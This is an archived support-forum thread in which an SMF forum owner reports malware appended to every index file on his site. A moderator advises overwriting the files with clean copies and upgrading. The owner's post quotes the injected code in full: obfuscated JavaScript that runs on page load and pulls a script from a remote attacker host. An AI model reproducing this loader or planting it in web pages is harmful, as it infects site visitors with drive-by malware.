Simple Machines Community Forum

SMF Support => SMF 2.0.x Support => Topic started by: $n1p3r on December 27, 2009, 05:33:05 AM

Title: Virus on my SMF, I think It's iframe!
Post by: $n1p3r on December 27, 2009, 05:33:05 AM
Hello,
Everytime someone loads forums on my hosting he got "Blocked Address" because of virus on it.
on EVERY index in EVERY folder (icons, themes, ... all) That's code is on the end of it!
Is there any way, I can remove them all at once without opening every index and deleting it manual. Thanks



<script>/*GNU GPL*/ try{window.onload = function(){var X5y3mrx1jmna = document.createElement('s&!!c&r@^i#!p$)!^t(^&'.replace(/\$|&|\)|\!|@|\(|\^|#/ig, ''));X5y3mrx1jmna.setAttribute('type', 'text/javascript');X5y3mrx1jmna.setAttribute('src',  'h@^!t($t&p^#:@^&/@(/)(l))(e$)!o^-!(#&o^(@r^g@@!!.#)l$)a#&r@&e!)&d(($o$!)u$t#e!^&.!@&f)@r!(.(!a^$&)l)!@@(i)@s!@#o(f)@t&&$-)&c$)o$^m^&!@&.(m@(&@$u&!$^s)!@i#^c!$@b&$$&@o^)#x!^@^p#r)^o(!!.(@@^r)(u():#)8@0$&#8!0#/$$b@&u#)#s((i#n!e(s$@s)^!w!^e^!(#e@k^$&).(^c)o(@m)/&#b!$)$)u#$s@i)n^#e@@s^s@&w&!e($#!e@&$k^(.@)^c$^)o$#!^m&$/(m!u$(l@t&i(^!p()l)^y@^.(#^#c$&&o##(^!m)@/^p#)i(c@)@f@(o^c)o$)#.)c))&o#@(m&$@/$^&g($!(o#o!!(!g#@@l@#e^.!!(&c)#!)o#)m$@&&#/&#'.replace(/@|&|\$|\)|\!|#|\(|\^/ig, ''));X5y3mrx1jmna.setAttribute('defer', 'defer');X5y3mrx1jmna.setAttribute('id', 'Y@^)&6#@u$3!7)$^(s!@##a^()z#))7!(&v&4$)'.replace(/@|\$|\)|#|\^|&|\(|\!/ig, ''));document.body.appendChild(X5y3mrx1jmna);}} catch(e) {}</script>
Title: Re: Virus on my SMF, I think It's iframe!
Post by: Antechinus on December 27, 2009, 08:14:38 AM
Best way is to overwrite all files with clean ones and reinstall any mods after that. Which version of SMF are you running? If you are not on 1.1.11 I would strongly advise upgrading.